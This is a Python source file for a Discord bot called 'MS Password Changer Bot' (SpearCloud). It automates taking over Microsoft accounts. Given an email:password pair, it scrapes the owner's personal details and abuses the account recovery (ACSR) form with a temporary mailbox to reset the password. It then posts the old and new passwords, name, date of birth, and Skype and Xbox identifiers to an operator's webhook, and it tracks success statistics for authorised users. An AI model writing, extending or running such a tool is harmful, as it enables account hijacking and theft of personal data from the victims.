import discord from discord.ext import commands, tasks from discord import app_commands import asyncio import json import os from datetime import datetime, timedelta import random import sys from io import BytesIO from PIL import Image import threading import traceback sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) try: from automation.core import scrape_account_info from automation.acsr import submit_acsr_form from automation.acsr_continue import continue_acsr_flow from automation.reset_password import perform_password_reset from automation.captcha import download_captcha import tempmail except ImportError as e: print(f"⚠️ Warning: Could not import automation modules: {e}") print("Make sure automation/ folder is in the same directory") ADMIN_ID = 1240158446146420756 CONFIG_FILE = "bot_config.json" AUTHORIZED_USERS_FILE = "authorized_users.json" ACTIVE_SESSIONS_FILE = "active_sessions.json" STATS_FILE = "bot_stats.json" COLOR_PRIMARY = 0x7B2CBF COLOR_SUCCESS = 0x10B981 COLOR_ERROR = 0xEF4444 COLOR_WARNING = 0xF59E0B COLOR_INFO = 0x3B82F6 class BotDataManager: def __init__(self): self.config = self.load_json(CONFIG_FILE, { "webhook_url": "", "bot_enabled": True, "max_concurrent_users": 10 }) self.authorized_users = self.load_json(AUTHORIZED_USERS_FILE, { str(ADMIN_ID): { "authorized": True, "added_by": "system", "added_at": str(datetime.now()) } }) self.active_sessions = {} self.otp_data = {} self.processing_sessions = {} self.stats = self.load_json(STATS_FILE, { "total_processed": 0, "total_success": 0, "total_failed": 0, "users_served": {} }) def load_json(self, filename, default): if os.path.exists(filename): try: with open(filename, 'r') as f: return json.load(f) except: pass return default def save_json(self, filename, data): with open(filename, 'w') as f: json.dump(data, f, indent=2) def save_config(self): self.save_json(CONFIG_FILE, self.config) def save_authorized_users(self): self.save_json(AUTHORIZED_USERS_FILE, self.authorized_users) def save_stats(self): self.save_json(STATS_FILE, self.stats) def is_authorized(self, user_id): return str(user_id) in self.authorized_users and self.authorized_users[str(user_id)]["authorized"] def authorize_user(self, user_id, by_admin): self.authorized_users[str(user_id)] = { "authorized": True, "added_by": str(by_admin), "added_at": str(datetime.now()) } self.save_authorized_users() def revoke_user(self, user_id): if str(user_id) in self.authorized_users: del self.authorized_users[str(user_id)] self.save_authorized_users() def generate_otp(self, user_id): otp = ''.join([str(random.randint(0, 9)) for _ in range(6)]) self.otp_data[user_id] = { "otp": otp, "expires": datetime.now() + timedelta(minutes=5), "attempts": 0 } return otp def verify_otp(self, user_id, otp): if user_id not in self.otp_data: return False, "No OTP requested. Use `/request_otp` first." data = self.otp_data[user_id] if datetime.now() > data["expires"]: del self.otp_data[user_id] return False, "OTP expired. Request a new one." if data["attempts"] >= 3: del self.otp_data[user_id] return False, "Maximum attempts exceeded." if data["otp"] == otp: del self.otp_data[user_id] self.active_sessions[user_id] = { "authenticated": True, "auth_time": datetime.now() } return True, "Authentication successful!" else: data["attempts"] += 1 return False, f"Invalid OTP. {3 - data['attempts']} attempts remaining." def is_authenticated(self, user_id): if user_id not in self.active_sessions: return False session = self.active_sessions[user_id] auth_time = session.get("auth_time") if isinstance(auth_time, str): auth_time = datetime.fromisoformat(auth_time) if datetime.now() - auth_time > timedelta(hours=24): del self.active_sessions[user_id] return False return True def logout(self, user_id): if user_id in self.active_sessions: del self.active_sessions[user_id] def update_stats(self, user_id, success): self.stats["total_processed"] += 1 if success: self.stats["total_success"] += 1 else: self.stats["total_failed"] += 1 user_str = str(user_id) if user_str not in self.stats["users_served"]: self.stats["users_served"][user_str] = {"processed": 0, "success": 0} self.stats["users_served"][user_str]["processed"] += 1 if success: self.stats["users_served"][user_str]["success"] += 1 self.save_stats() def generate_warden_password(): random_numbers = ''.join([str(random.randint(0, 9)) for _ in range(6)]) return f"SpearCloud{random_numbers}" intents = discord.Intents.default() intents.message_content = True intents.members = True bot = commands.Bot(command_prefix="!", intents=intents, help_command=None) data_manager = BotDataManager() def create_embed(title, description, color, fields=None): embed = discord.Embed( title=title, description=description, color=color, timestamp=datetime.now() ) if fields: for field in fields: embed.add_field( name=field.get("name", "Field"), value=field.get("value", "No value"), inline=field.get("inline", False) ) embed.set_footer(text="MS Password Changer Bot • SpearCloud") return embed async def send_to_webhook(result): webhook_url = data_manager.config.get("webhook_url") if not webhook_url: print("⚠️ No webhook URL configured") return webhook_data = { "embeds": [{ "title": " Password Changed Successfully", "color": COLOR_SUCCESS, "fields": [ {"name": " Email", "value": f"`{result['email']}`", "inline": False}, {"name": " Old Password", "value": f"`{result['old_password']}`", "inline": True}, {"name": " New Password", "value": f"`{result['new_password']}`", "inline": True}, {"name": "<:user:1432295464874672199> Name", "value": result.get('name', 'N/A'), "inline": True}, {"name": "🎂 DOB", "value": result.get('dob', 'N/A'), "inline": True}, {"name": "<:region:1453614207286116485> Region", "value": result.get('region', 'N/A'), "inline": True}, {"name": "<:skype:1453614338408452126> Skype ID", "value": result.get('skype_id', 'N/A'), "inline": True}, {"name": "<:skype:1453614338408452126> Skype Email", "value": result.get('skype_email', 'N/A'), "inline": True}, {"name": " Xbox Gamertag", "value": result.get('gamertag', 'N/A'), "inline": True} ], "footer": {"text": f"Processed by User ID: {result.get('user_id', 'Unknown')}"}, "timestamp": datetime.now().isoformat() }] } import aiohttp try: async with aiohttp.ClientSession() as session: async with session.post(webhook_url, json=webhook_data) as resp: if resp.status == 204: print(f"✅ Webhook sent for {result['email']}") else: print(f"⚠️ Webhook failed: {resp.status}") except Exception as e: print(f"❌ Webhook error: {e}") async def process_account_full(email, password, user_id, channel, new_password): try: await channel.send(embed=create_embed( "🔍 Step 1/5: Scraping Account Info", f"Logging into `{email}` to gather account details...", COLOR_INFO )) print(f"\n{'='*60}") print(f"Processing: {email}") print(f"User ID: {user_id}") print(f"{'='*60}\n") loop = asyncio.get_event_loop() account_info = await loop.run_in_executor(None, scrape_account_info, email, password) if not account_info or account_info.get("error"): error_msg = account_info.get("error", "Could not login") if account_info else "Could not login" await channel.send(embed=create_embed( "❌ Login Failed", f"**Error:** {error_msg}\n**Account:** `{email}`", COLOR_ERROR )) data_manager.update_stats(user_id, False) return {"status": "failed", "error": error_msg} print(f"✅ Account info scraped successfully") await channel.send(embed=create_embed( "📝 Step 2/5: Submitting ACSR Form", f"✅ Scraped: **{account_info.get('name', 'Unknown')}**\n\nGenerating temp email and submitting recovery form...", COLOR_INFO )) captcha_image, driver, token, temp_email = await loop.run_in_executor( None, submit_acsr_form, account_info ) if not captcha_image or not driver: await channel.send(embed=create_embed( "❌ ACSR Submission Failed", "Could not submit the ACSR form.", COLOR_ERROR )) data_manager.update_stats(user_id, False) return {"status": "failed", "error": "ACSR submission failed"} print(f"✅ ACSR form submitted, temp email: {temp_email}") captcha_filename = f"captcha_{user_id}_{int(datetime.now().timestamp())}.png" captcha_image.seek(0) with open(captcha_filename, "wb") as f: f.write(captcha_image.read()) data_manager.processing_sessions[user_id] = { "driver": driver, "token": token, "temp_email": temp_email, "account_info": account_info, "email": email, "password": password, "desired_password": new_password, "captcha_file": captcha_filename, "captcha_attempts": 0, "channel_id": channel.id, "start_time": datetime.now() } await channel.send( embed=create_embed( "🖼️ Step 3/5: CAPTCHA Required", "**Please solve the CAPTCHA below!**\n\nUse: `/submit_captcha `", COLOR_WARNING, [ {"name": "⏱️ Timeout", "value": "5 minutes", "inline": True}, {"name": "🔄 Attempts", "value": "3 maximum", "inline": True} ] ), file=discord.File(captcha_filename) ) print(f"⏳ Waiting for CAPTCHA solution...") return {"status": "captcha_pending"} except Exception as e: print(f"❌ Error in process_account_full: {str(e)}") traceback.print_exc() await channel.send(embed=create_embed( "❌ Processing Error", f"**Error:** {str(e)}", COLOR_ERROR )) data_manager.update_stats(user_id, False) return {"status": "failed", "error": str(e)} async def continue_after_captcha(user_id, captcha_text, interaction): if user_id not in data_manager.processing_sessions: await interaction.response.send_message( embed=create_embed("❌ No Session", "No active CAPTCHA session found.", COLOR_ERROR), ephemeral=True ) return session = data_manager.processing_sessions[user_id] driver = session["driver"] token = session["token"] account_info = session["account_info"] email = session["email"] password = session["password"] desired_password = session.get("desired_password") channel = bot.get_channel(session["channel_id"]) try: await interaction.response.defer(ephemeral=True) await channel.send(embed=create_embed( "⚙️ Step 4/5: Continuing ACSR Flow", "Submitting CAPTCHA and waiting for OTP from temp email...", COLOR_INFO )) print(f"\n🔐 Submitting CAPTCHA: {captcha_text}") loop = asyncio.get_event_loop() reset_link = await loop.run_in_executor( None, continue_acsr_flow, driver, account_info, token, captcha_text ) if reset_link == "CAPTCHA_RETRY_NEEDED": session["captcha_attempts"] += 1 if session["captcha_attempts"] >= 3: await channel.send(embed=create_embed( "❌ Maximum CAPTCHA Attempts", "You've used all 3 attempts. Please start over with `/process`.", COLOR_ERROR )) await interaction.followup.send( embed=create_embed("❌ Failed", "Max CAPTCHA attempts reached.", COLOR_ERROR), ephemeral=True ) driver.quit() if os.path.exists(session["captcha_file"]): os.remove(session["captcha_file"]) del data_manager.processing_sessions[user_id] data_manager.update_stats(user_id, False) return print(f"❌ CAPTCHA incorrect, downloading new one...") new_captcha = await loop.run_in_executor(None, download_captcha, driver) new_captcha_filename = f"captcha_{user_id}_{int(datetime.now().timestamp())}.png" new_captcha.seek(0) with open(new_captcha_filename, "wb") as f: f.write(new_captcha.read()) if os.path.exists(session["captcha_file"]): os.remove(session["captcha_file"]) session["captcha_file"] = new_captcha_filename await channel.send( embed=create_embed( "❌ Wrong CAPTCHA", f"Attempts remaining: **{3 - session['captcha_attempts']}**\n\nPlease try again.", COLOR_WARNING ), file=discord.File(new_captcha_filename) ) await interaction.followup.send( embed=create_embed("❌ Try Again", "CAPTCHA was incorrect.", COLOR_WARNING), ephemeral=True ) return if not reset_link or reset_link.startswith("ERROR"): await channel.send(embed=create_embed( "❌ ACSR Failed", f"Could not complete recovery: {reset_link}", COLOR_ERROR )) await interaction.followup.send( embed=create_embed("❌ Failed", f"ACSR error: {reset_link}", COLOR_ERROR), ephemeral=True ) driver.quit() if os.path.exists(session["captcha_file"]): os.remove(session["captcha_file"]) del data_manager.processing_sessions[user_id] data_manager.update_stats(user_id, False) return print(f"✅ Reset link received") await channel.send(embed=create_embed( " Step 5/5: Resetting Password", f"Opening reset link and changing password to **{desired_password}**...", COLOR_INFO )) print(f"🔑 Setting password to: {desired_password}") actual_password = await loop.run_in_executor( None, perform_password_reset, reset_link, email, desired_password ) if not actual_password: await channel.send(embed=create_embed( "❌ Password Reset Failed", "Could not change the password. Please try again.", COLOR_ERROR )) await interaction.followup.send( embed=create_embed("❌ Failed", "Password reset failed.", COLOR_ERROR), ephemeral=True ) driver.quit() if os.path.exists(session["captcha_file"]): os.remove(session["captcha_file"]) del data_manager.processing_sessions[user_id] data_manager.update_stats(user_id, False) return print(f"✅ Password changed successfully to: {actual_password}") result = { "email": email, "old_password": password, "new_password": actual_password, "name": account_info.get("name"), "dob": account_info.get("dob"), "region": account_info.get("region"), "skype_id": account_info.get("skype_id"), "skype_email": account_info.get("skype_email"), "gamertag": account_info.get("gamertag"), "user_id": user_id } await send_to_webhook(result) data_manager.update_stats(user_id, True) await channel.send(embed=create_embed( "✅ SUCCESS! Password Changed!", f"**Account:** `{email}`", COLOR_SUCCESS, [ {"name": " Old Password", "value": f"`{password}`", "inline": True}, {"name": " New Password", "value": f"`{actual_password}`", "inline": True}, {"name": " Full Details", "value": "Sent to webhook!", "inline": False} ] )) await interaction.followup.send( embed=create_embed( "✅ Complete!", f"Password changed for `{email}`\n\n**New Password:** `{actual_password}`", COLOR_SUCCESS ), ephemeral=True ) print(f"\n{'='*60}") print(f"✅ COMPLETED: {email}") print(f"{'='*60}\n") driver.quit() if os.path.exists(session["captcha_file"]): os.remove(session["captcha_file"]) del data_manager.processing_sessions[user_id] except Exception as e: print(f"❌ Error in continue_after_captcha: {str(e)}") traceback.print_exc() await channel.send(embed=create_embed( "❌ Error", f"**Error:** {str(e)}", COLOR_ERROR )) await interaction.followup.send( embed=create_embed("❌ Error", f"Error: {str(e)}", COLOR_ERROR), ephemeral=True ) try: driver.quit() except: pass if os.path.exists(session.get("captcha_file", "")): try: os.remove(session["captcha_file"]) except: pass if user_id in data_manager.processing_sessions: del data_manager.processing_sessions[user_id] data_manager.update_stats(user_id, False) @bot.event async def on_ready(): print(f"\n╔{'═'*70}╗") print(f"║ MS PASSWORD CHANGER BOT - ONLINE{' '*37}║") print(f"╚{'═'*70}╝") print(f"\n✅ Bot User: {bot.user.name}") print(f"✅ Bot ID: {bot.user.id}") print(f"✅ Admin ID: {ADMIN_ID}") print(f"✅ Authorized Users: {len(data_manager.authorized_users)}") print(f"✅ Webhook: {'✓ Configured' if data_manager.config.get('webhook_url') else '✗ Not Set'}") print(f"\n{'='*70}\n") try: synced = await bot.tree.sync() print(f"✅ Synced {len(synced)} slash commands") except Exception as e: print(f"❌ Error syncing commands: {e}") await bot.change_presence( activity=discord.Activity( type=discord.ActivityType.watching, name=".gg/SpearCloud" ) ) print(f"\n{'='*70}") print(f"Bot is ready! Use /help in Discord to see commands.") print(f"{'='*70}\n") def check_auth(): async def predicate(interaction: discord.Interaction) -> bool: if not data_manager.is_authorized(interaction.user.id): await interaction.response.send_message( embed=create_embed("❌ Not Authorized", f"Contact admin (ID: `{ADMIN_ID}`).", COLOR_ERROR), ephemeral=True ) return False return True return app_commands.check(predicate) def check_login(): async def predicate(interaction: discord.Interaction) -> bool: if not data_manager.is_authenticated(interaction.user.id): await interaction.response.send_message( embed=create_embed("❌ Not Logged In", "Use `/request_otp` and `/verify_otp` first.", COLOR_ERROR), ephemeral=True ) return False return True return app_commands.check(predicate) @bot.tree.command(name="help", description="View all commands and how to use the bot") async def help_command(interaction: discord.Interaction): if not data_manager.is_authorized(interaction.user.id): await interaction.response.send_message( embed=create_embed("❌ Not Authorized", f"Contact admin (ID: `{ADMIN_ID}`).", COLOR_ERROR), ephemeral=True ) return embed = discord.Embed( title="📚 MS Password Changer Bot", description="**Full ACSR Automation** - SpearCloud Edition", color=COLOR_PRIMARY ) embed.add_field( name="🔐 Authentication", value=( "`/request_otp` - Get 6-digit code in DM\n" "`/verify_otp

` - Login with OTP\n"
            "`/logout` - End your session"
        ),
        inline=False
    )
    
    embed.add_field(
        name="🔧 Processing",
        value=(
            "`/process  ` - Start processing\n"
            "`/submit_captcha ` - Solve CAPTCHA\n"
            "`/status` - Check your session\n"
            "`/cancel` - Cancel current process"
        ),
        inline=False
    )
    
    if interaction.user.id == ADMIN_ID:
        embed.add_field(
            name="🛡️ Admin Commands",
            value=(
                "`/admin` - Admin panel\n"
                "`/authorize @user` - Grant access\n"
                "`/revoke @user` - Remove access\n"
                "`/list_users` - View all users\n"
                "`/set_webhook ` - Set webhook\n"
                "`/stats` - View statistics"
            ),
            inline=False
        )
    
    embed.add_field(
        name="📖 Quick Start",
        value=(
            "1️⃣ `/request_otp` → Get code in DM\n"
            "2️⃣ `/verify_otp ` → Authenticate\n"
            "3️⃣ `/process email:pass newPass123` → Start\n"
            "4️⃣ Bot shows CAPTCHA → Solve it\n"
            "5️⃣ `/submit_captcha ` → Continue\n"
            "6️⃣ ✅ Password changed automatically!"
        ),
        inline=False
    )
    
    embed.set_footer(text="SpearCloud • Full Automation System")
    
    await interaction.response.send_message(embed=embed, ephemeral=True)

@bot.tree.command(name="request_otp", description="Request an OTP code for secure login")
@check_auth()
async def request_otp(interaction: discord.Interaction):
    user_id = interaction.user.id
    
    if data_manager.is_authenticated(user_id):
        await interaction.response.send_message(
            embed=create_embed("ℹ️ Already Logged In", "You are already authenticated.", COLOR_INFO),
            ephemeral=True
        )
        return
    
    otp = data_manager.generate_otp(user_id)
    
    try:
        dm_embed = create_embed(
            "🔐 Your One-Time Password (OTP)",
            f"Your OTP is: **`{otp}`**\n\nThis code expires in **5 minutes**.\nUse `/verify_otp {otp}` in the server.",
            COLOR_WARNING
        )
        await interaction.user.send(embed=dm_embed)
        
        await interaction.response.send_message(
            embed=create_embed("✅ OTP Sent", "Check your direct messages for the code.", COLOR_SUCCESS),
            ephemeral=True
        )
    except discord.Forbidden:
        await interaction.response.send_message(
            embed=create_embed("❌ DM Failed", "Enable DMs from server members.", COLOR_ERROR),
            ephemeral=True
        )

@bot.tree.command(name="verify_otp", description="Verify the OTP to log in")
@app_commands.describe(code="The 6-digit OTP from your DMs")
@check_auth()
async def verify_otp(interaction: discord.Interaction, code: str):
    user_id = interaction.user.id
    
    success, message = data_manager.verify_otp(user_id, code.strip())
    
    if success:
        await interaction.response.send_message(
            embed=create_embed("✅ Authentication Success", f"{message}\n\nYou can now use `/process` to change passwords!", COLOR_SUCCESS)
        )
    else:
        await interaction.response.send_message(
            embed=create_embed("❌ Authentication Failed", message, COLOR_ERROR),
            ephemeral=True
        )

@bot.tree.command(name="logout", description="End your current session")
@check_login()
async def logout_command(interaction: discord.Interaction):
    data_manager.logout(interaction.user.id)
    await interaction.response.send_message(
        embed=create_embed("👋 Logged Out", "Your session has been ended. Use `/request_otp` to login again.", COLOR_INFO)
    )

@bot.tree.command(name="process", description="Start processing an account")
@app_commands.describe(
    account="Format: email:password (e.g., test@outlook.com:MyPass123)",
    new_password="The new password you want to set (Must be > 8 characters)"
)
@check_login()
async def process_account(interaction: discord.Interaction, account: str, new_password: str):
    user_id = interaction.user.id
    
    if len(new_password) <= 8:
        await interaction.response.send_message(
            embed=create_embed("❌ Password Too Short", "Custom password must be **more than 8 characters** long.", COLOR_ERROR),
            ephemeral=True
        )
        return

    if ":" not in account:
        await interaction.response.send_message(
            embed=create_embed("❌ Invalid Format", "Use: `email:password`", COLOR_ERROR),
            ephemeral=True
        )
        return
    
    email, password = account.split(":", 1)
    email = email.strip()
    password = password.strip()

    if user_id in data_manager.processing_sessions:
        await interaction.response.send_message(
            embed=create_embed("❌ Session Active", "Complete or cancel your current process first. Use `/cancel`.", COLOR_WARNING),
            ephemeral=True
        )
        return
    
    await interaction.response.send_message(
        embed=create_embed(
            "🚀 Starting Process",
            f"Attempting to recover: `{email}`\n**Target Password:** `{new_password}`\n\nUpdates will be posted in this channel.",
            COLOR_INFO
        )
    )
    
    asyncio.create_task(process_account_full(email, password, user_id, interaction.channel, new_password))

@bot.tree.command(name="submit_captcha", description="Submit the CAPTCHA solution")
@app_commands.describe(text="The text shown in the CAPTCHA image")
@check_login()
async def submit_captcha(interaction: discord.Interaction, text: str):
    user_id = interaction.user.id
    
    if user_id not in data_manager.processing_sessions:
        await interaction.response.send_message(
            embed=create_embed("❌ No CAPTCHA Active", "No active CAPTCHA session.", COLOR_WARNING),
            ephemeral=True
        )
        return

    await continue_after_captcha(user_id, text.strip(), interaction)

@bot.tree.command(name="status", description="Check your session and process status")
@check_login()
async def check_status(interaction: discord.Interaction):
    user_id = interaction.user.id
    
    fields = [{"name": "🔒 Authentication", "value": "✅ Logged In", "inline": True}]
    
    if user_id in data_manager.processing_sessions:
        session = data_manager.processing_sessions[user_id]
        fields.append({"name": "⏳ Active Process", "value": "CAPTCHA Pending", "inline": True})
        fields.append({"name": "📧 Target Email", "value": f"`{session['email']}`", "inline": False})
        fields.append({"name": "🔄 CAPTCHA Attempts", "value": f"{session['captcha_attempts']} / 3", "inline": True})
        
        channel_id = session.get('channel_id')
        channel_mention = f"<#{channel_id}>" if channel_id else "Unknown"
        fields.append({"name": "📍 Submit Location", "value": channel_mention, "inline": True})
        
        embed = create_embed("⚠️ Active Session", "You have a pending CAPTCHA.", COLOR_WARNING, fields)
    else:
        fields.append({"name": "⚙️ Active Process", "value": "❌ None", "inline": True})
        embed = create_embed("✅ Status OK", "Ready to process accounts.", COLOR_SUCCESS, fields)
        
    await interaction.response.send_message(embed=embed, ephemeral=True)

@bot.tree.command(name="cancel", description="Cancel your current processing session")
@check_login()
async def cancel_process(interaction: discord.Interaction):
    user_id = interaction.user.id
    
    if user_id not in data_manager.processing_sessions:
        await interaction.response.send_message(
            embed=create_embed("ℹ️ No Active Process", "You don't have an active process to cancel.", COLOR_INFO),
            ephemeral=True
        )
        return
    
    session = data_manager.processing_sessions[user_id]
    
    try:
        session["driver"].quit()
    except:
        pass
    
    if os.path.exists(session.get("captcha_file", "")):
        try:
            os.remove(session["captcha_file"])
        except:
            pass
    
    del data_manager.processing_sessions[user_id]
    
    await interaction.response.send_message(
        embed=create_embed("✅ Process Cancelled", "Your session has been terminated.", COLOR_SUCCESS)
    )

@bot.tree.command(name="admin", description="[ADMIN] Control panel")
async def admin_panel(interaction: discord.Interaction):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(
            embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR),
            ephemeral=True
        )
        return
    
    stats = data_manager.stats
    embed = create_embed(
        "🛡️ Admin Control Panel",
        "MS Password Changer Bot Management",
        COLOR_PRIMARY,
        [
            {"name": "📊 Stats", "value": f"**Users:** {len(data_manager.authorized_users)}\n**Active Sessions:** {len(data_manager.active_sessions)}\n**Processing:** {len(data_manager.processing_sessions)}", "inline": True},
            {"name": "📈 Totals", "value": f"**Total Processed:** {stats['total_processed']}\n**Success:** {stats['total_success']}\n**Failed:** {stats['total_failed']}", "inline": True}
        ]
    )
    
    await interaction.response.send_message(embed=embed, ephemeral=True)

@bot.tree.command(name="authorize", description="[ADMIN] Authorize a user")
@app_commands.describe(user="The user to authorize")
async def authorize_user(interaction: discord.Interaction, user: discord.Member):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR), ephemeral=True)
        return
    
    data_manager.authorize_user(user.id, interaction.user.id)
    await interaction.response.send_message(embed=create_embed("✅ User Authorized", f"Granted access to {user.mention}", COLOR_SUCCESS))

@bot.tree.command(name="revoke", description="[ADMIN] Revoke a user")
@app_commands.describe(user="The user to remove")
async def revoke_user(interaction: discord.Interaction, user: discord.Member):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR), ephemeral=True)
        return
    
    data_manager.revoke_user(user.id)
    await interaction.response.send_message(embed=create_embed("🚫 User Revoked", f"Removed access for {user.mention}", COLOR_WARNING))

@bot.tree.command(name="set_webhook", description="[ADMIN] Set the results webhook")
@app_commands.describe(url="The Discord webhook URL")
async def set_webhook(interaction: discord.Interaction, url: str):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR), ephemeral=True)
        return
    
    data_manager.config["webhook_url"] = url
    data_manager.save_config()
    await interaction.response.send_message(embed=create_embed("✅ Webhook Set", "Webhook URL updated successfully.", COLOR_SUCCESS), ephemeral=True)

@bot.tree.command(name="list_users", description="[ADMIN] List all authorized users")
async def list_users(interaction: discord.Interaction):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR), ephemeral=True)
        return
    
    embed = discord.Embed(title="👥 Authorized Users", color=COLOR_PRIMARY)
    
    for user_id, data in data_manager.authorized_users.items():
        user = await bot.fetch_user(int(user_id))
        embed.add_field(
            name=f"{user.name}",
            value=f"ID: `{user_id}`\nAdded: {data.get('added_at', 'Unknown')[:10]}",
            inline=True
        )
    
    await interaction.response.send_message(embed=embed, ephemeral=True)

@bot.tree.command(name="stats", description="[ADMIN] View bot statistics")
async def stats_command(interaction: discord.Interaction):
    if interaction.user.id != ADMIN_ID:
        await interaction.response.send_message(embed=create_embed("❌ Access Denied", "Admin only.", COLOR_ERROR), ephemeral=True)
        return
    
    stats = data_manager.stats
    total = stats["total_processed"]
    success_rate = (stats["total_success"] / total * 100) if total > 0 else 0
    
    embed = discord.Embed(title="📊 Bot Statistics", color=COLOR_PRIMARY)
    embed.add_field(name="Total Processed", value=f"**{total}**", inline=True)
    embed.add_field(name="Successful", value=f"**{stats['total_success']}**", inline=True)
    embed.add_field(name="Failed", value=f"**{stats['total_failed']}**", inline=True)
    embed.add_field(name="Success Rate", value=f"**{success_rate:.1f}%**", inline=True)
    embed.add_field(name="Total Users", value=f"**{len(stats['users_served'])}**", inline=True)
    
    await interaction.response.send_message(embed=embed, ephemeral=True)

if __name__ == "__main__":
    import os
    from dotenv import load_dotenv
    
    load_dotenv()
    token = os.getenv('DISCORD_TOKEN')
    
    if not token:
        print("❌ ERROR: DISCORD_TOKEN not found in .env file!")
        print("Please create a .env file with: DISCORD_TOKEN=your_token_here")
        exit(1)
    
    bot.run(token)